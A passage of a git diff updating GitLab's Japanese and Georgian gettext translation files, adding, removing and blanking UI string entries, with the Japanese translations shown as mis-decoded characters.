-msgid "You can invite a new member to <strong>%{project_name}</strong>."
-msgstr "æ–°ã—ã„メンãƒãƒ¼ã‚’<strong>%{project_name} </strong>ã«æ‹›å¾…ã§ãã¾ã™ã€‚"
+msgid "You can invite a new member to %{project_name}."
+msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
-msgstr "ä»–ã®ã‚°ãƒ«ãƒ¼ãƒ—ã‚’<strong>%{project_name} </strong>ã«æ‹›å¾…ã§ãã¾ã™ã€‚"
+msgid "You can invite another group to %{project_name}."
+msgstr ""
msgid "You can move around the graph by using the arrow keys."
msgstr "矢å°ã‚­ãƒ¼ã‚’使用ã—ã¦ã‚°ãƒ©ãƒ•ã‚’移動ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
@@ -27556,10 +28371,10 @@ msgstr "ã“ã®èª­ã¿å–り専用 GitLab インスタンスã«ã¯æ›¸ã込むã“ã
msgid "You could not create a new trigger."
msgstr "æ–°ã—ã„トリガーを作æˆã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
-msgstr "ã‚ãªãŸã¯%{strong}%{namespace_name}%{strong_close}ã¸ã®%{strong}%{plan_name}%{strong_close}サブスクリプションを更新ã—ã¾ã›ã‚“ã§ã—ãŸã€‚ãã®ãŸã‚ã€å½“サブスクリプションã¯ç„¡æ–™ãƒ—ランã«ãƒ€ã‚¦ãƒ³ã‚°ãƒ¬ãƒ¼ãƒ‰ã•ã‚Œã¾ã—ãŸã€‚"
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27772,6 +28587,9 @@ msgstr "%{set_password_link} ã§ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã®ãƒ‘スワードãŒã‚»ãƒƒãƒˆã•
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr "SSHéµã‚’プロフィールã«è¿½åŠ ã—ãªã„é™ã‚Šã€SSH経由ã§ãƒ—ロジェクトã®ã‚³ãƒ¼ãƒ‰ã‚’プルã—ãŸã‚Šãƒ—ッシュã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“。"
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr "ç¾åœ¨ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‹ã‚‰è‡ªå‹•çš„ã«ã‚µã‚¤ãƒ³ã‚¢ã‚¦ãƒˆã•ã‚Œã¾ã™ã€‚"
@@ -27847,8 +28665,8 @@ msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆãƒ¡ãƒ¼ãƒ«ã¯ã€ç·¨é›†ã‚„マージãªã©ã®Webベース
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr "%{openingTag}グループã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹%{closingTag} ãŒè¨­å®šã•ã‚Œã¦ã„ãªã„å ´åˆã€ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã®é€šçŸ¥ãƒ¡ãƒ¼ãƒ«ã‚’アカウントã®é€šçŸ¥ã«ä½¿ç”¨ã—ã¾ã™ã€‚"
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
-msgstr "DevOps Scoreã«ã¯ã€æ©Ÿèƒ½ã®è¦³ç‚¹ã‹ã‚‰ GitLab ã‚’ã©ã®ã‚ˆã†ã«ä½¿ç”¨ã—ã¦ã„ã‚‹ã‹ã®æ¦‚è¦ãŒè¨˜è¼‰ã•ã‚Œã¦ã„ã¾ã™ã€‚ä»–ã®çµ„ç¹”ã¨ã®æ¯”較ã€ä½¿ç”¨ã—ã¦ã„ãªã„機能ã®ç™ºè¦‹ã€ãƒ–ログã®æŠ•ç¨¿ã‚„ホワイトペーパーを通ã˜ã¦ãƒ™ã‚¹ãƒˆãƒ—ラクティスを学ã¶ã“ã¨ãŒã§ãã¾ã™ã€‚"
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgstr ""
msgid "Your GPG keys (%{count})"
msgstr "GPG éµ (%{count})"
@@ -27964,6 +28782,9 @@ msgstr "所属グループ"
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28091,6 +28912,9 @@ msgstr "ã™ã§ã«ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã¨å…±æœ‰ã—ã¦ã„ã¾ã™"
msgid "among other things"
msgstr "ãã®ä»–ã®ã‚‚ã®"
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr "マージリクエストã®æ‰¿èªè€…ã¯ã™ã§ã«å­˜åœ¨ã—ã¾ã™"
@@ -28392,12 +29216,6 @@ msgstr "コミット %{commit_id}"
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr "ã‚ãªãŸã¯å…¬é–‹è¨­å®šã«å¤‰æ›´ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚ã“ã‚Œã¯<strong>ã™ã¹ã¦ã®äºº</strong> ãŒé–²è¦§å¯èƒ½ã«ãªã‚Šã€èª²é¡Œã«å¯¾ã—ã¦ã‚³ãƒ¡ãƒ³ãƒˆã‚’残ã™ã“ã¨ãŒã§ãるよã†ã«ãªã‚‹ã“ã¨ã‚’æ„味ã—ã¾ã™ã€‚"
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr "ã‚ãªãŸã¯éžå…¬é–‹è¨­å®šã‚’オンã«ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚ã“ã‚Œã¯ã€æœ€ä½Žã§ã‚‚<strong>報告権é™</strong>ã‚’æŒã£ãŸãƒãƒ¼ãƒ ãƒ¡ãƒ³ãƒãƒ¼ã®ã¿ãŒèª²é¡Œã‚’表示ã—ãŸã‚Šã‚³ãƒ¡ãƒ³ãƒˆã‚’残ã—ãŸã‚Šã™ã‚‹ã“ã¨ãŒã§ãるよã†ã«ãªã‚‹ã¨ã„ã†ã“ã¨ã§ã™ã€‚"
-
msgid "connecting"
msgstr "接続中"
@@ -28551,6 +29369,10 @@ msgstr "ã“ã®ãƒ—ロジェクトをフォーク"
msgid "from"
msgstr "from"
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+
msgid "group"
msgstr "グループ"
@@ -28596,9 +29418,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr "プロジェクト %{link_to_project}"
-msgid "index"
-msgstr "インデックス"
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] "インスタンスãŒå®Œäº†ã—ã¾ã—ãŸ"
@@ -28639,6 +29458,9 @@ msgstr "ã¯æœ‰åŠ¹ãª X509 証明書ã§ã¯ã‚ã‚Šã¾ã›ã‚“。"
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr "ã¯è¨±å¯ã•ã‚Œã¦ã„ã¾ã›ã‚“。別ã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã§ã‚‚ã†ä¸€åº¦è©¦ã™ã‹ã€GitLab管ç†è€…ã«é€£çµ¡ã—ã¦ãã ã•ã„。"
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr "ã‚ãªãŸãŒæ‰€æœ‰ã™ã‚‹ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã§ã¯ã‚ã‚Šã¾ã›ã‚“"
@@ -28787,9 +29609,15 @@ msgstr "%{metricsLinkStart} メモリ %{metricsLinkEnd} 使用率㯠%{memoryFro
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr "次ã®ãƒ¦ãƒ¼ã‚¶ã«ã‚ˆã£ã¦ãƒžãƒ¼ã‚¸ãƒˆãƒ¬ã‚¤ãƒ³ã«è¿½åŠ ã•ã‚Œã¾ã—ãŸï¼š"
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr "ターゲットブランãƒã«ãƒžãƒ¼ã‚¸ã§ãるメンãƒãƒ¼ã‹ã‚‰ã®ã‚³ãƒŸãƒƒãƒˆã‚’許å¯ã™ã‚‹"
@@ -28802,6 +29630,9 @@ msgstr "マージリクエストã®æ‰¿èªæƒ…報をå–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿ
msgid "mrWidget|An error occurred while submitting your approval."
msgstr "承èªã‚’é€ä¿¡ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr "承èªãƒ‘スワードãŒç„¡åŠ¹ã§ã™ã€‚"
@@ -28874,9 +29705,6 @@ msgstr "%{branch} ブランãƒãŒãƒ­ãƒ¼ã‚«ãƒ«ãƒªãƒã‚¸ãƒˆãƒªã«å­˜åœ¨ã™ã‚‹å ´å
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "%{missingBranchName} ブランãƒãŒãƒ­ãƒ¼ã‚«ãƒ«ãƒªãƒã‚¸ãƒˆãƒªã«å­˜åœ¨ã™ã‚‹å ´åˆã¯ã€ã‚³ãƒžãƒ³ãƒ‰ãƒ©ã‚¤ãƒ³ã‚’使用ã—ã¦ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’手動ã§ãƒžãƒ¼ã‚¸ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr "ä½ç½®%{mergeTrainPosition} ã®ãƒžãƒ¼ã‚¸ãƒˆãƒ¬ã‚¤ãƒ³å†…"
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -28910,12 +29738,6 @@ msgstr "マージ作業者"
msgid "mrWidget|More information"
msgstr "詳ã—ã„情報"
-msgid "mrWidget|No approval required"
-msgstr "承èªã¯ä¸è¦"
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr "承èªã¯ä¸è¦ã§ã™ãŒã€æ‰¿èªã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™"
-
msgid "mrWidget|Open in Web IDE"
msgstr "Web IDE ã§é–‹ã"
@@ -28997,6 +29819,12 @@ msgstr "ã“ã®ã‚½ãƒ¼ã‚¹ãƒ–ランãƒã¯å‰Šé™¤ã•ã‚Œã¾ã›ã‚“"
msgid "mrWidget|There are merge conflicts"
msgstr "マージã®ç«¶åˆãŒã‚ã‚Šã¾ã™"
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr "ã“ã®æ©Ÿèƒ½ã¯ã€ã‚¿ãƒ¼ã‚²ãƒƒãƒˆãƒ–ランãƒã‹ã‚‰ã‚½ãƒ¼ã‚¹ãƒ–ランãƒã¸ã®å¤‰æ›´ã‚’マージã—ã¾ã™ã€‚ã“ã®ã‚½ãƒ¼ã‚¹ãƒ–ランãƒã¯ä¿è­·ã•ã‚Œã¦ã„ã‚‹ãŸã‚ã€ã‚ãªãŸã¯ã“ã®æ©Ÿèƒ½ã‚’使用ã§ãã¾ã›ã‚“。"
@@ -29006,12 +29834,6 @@ msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¯è‡ªå‹•çš„ã«ãƒžãƒ¼ã‚¸ã•ã‚Œã¾ã›ã‚“ã§
msgid "mrWidget|This merge request is in the process of being merged"
msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¯ãƒžãƒ¼ã‚¸å®Ÿè¡Œä¸­ã§ã™"
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’ã€ãƒ‘イプライン %{linkStart}#%{pipelineId}%{linkEnd} ãŒæˆåŠŸã—ãŸã¨ãã«ãƒžãƒ¼ã‚¸ãƒˆãƒ¬ã‚¤ãƒ³ã¸è¿½åŠ ã—ã¾ã™ã€‚"
-
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¯ã€ãƒ‘イプライン %{linkStart}#%{pipelineId}%{linkEnd} ãŒæˆåŠŸã—ãŸã¨ãã«ãƒžãƒ¼ã‚¸ãƒˆãƒ¬ã‚¤ãƒ³ã‚’開始ã—ã¾ã™ã€‚"
-
msgid "mrWidget|This project is archived, write access has been disabled"
msgstr "ã“ã®ãƒ—ロジェクトã¯ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–ã•ã‚Œã¦ã„ã‚‹ãŸã‚ã€æ›¸ãè¾¼ã¿ã¯ç„¡åŠ¹ã§ã™ã€‚"
@@ -29217,6 +30039,9 @@ msgstr "リãƒã‚¸ãƒˆãƒªã¸ã®ãƒ—ッシュã€ãƒ‘イプラインã®ä½œæˆã€èª²é¡Œ
msgid "quick actions"
msgstr "クイックアクション"
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr "登録"
@@ -29260,9 +30085,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr "スコア"
-
msgid "security Reports|There was an error creating the merge request"
msgstr "マージリクエストã®ä½œæˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -29380,6 +30202,9 @@ msgstr "次ã®èª²é¡Œ"
msgid "this document"
msgstr "ã“ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆ"
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "コントリビュータã®ã‚³ãƒŸãƒ¥ãƒ‹ã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã‚’効率化ã™ã‚‹ï¼"
@@ -29398,6 +30223,9 @@ msgstr "ドロップダウンã®åˆ‡æ›¿"
msgid "triggered"
msgstr "トリガーã•ã‚ŒãŸ"
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr "Unicodeドメインã«ã¯IDNAエンコーディングを使用ã—ã¦ãã ã•ã„"
@@ -29461,6 +30289,9 @@ msgstr "コメントを追加"
msgid "vulnerability|Add comment & dismiss"
msgstr "コメントを追加ã—ã¦å´ä¸‹"
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr "脆弱性報告をå´ä¸‹ã™ã‚‹"
diff --git a/locale/ka_GE/gitlab.po b/locale/ka_GE/gitlab.po
index 60fffe934fc..acc3c40ab0d 100644
--- a/locale/ka_GE/gitlab.po
+++ b/locale/ka_GE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ka\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:43\n"
+"PO-Revision-Date: 2020-09-04 23:06\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
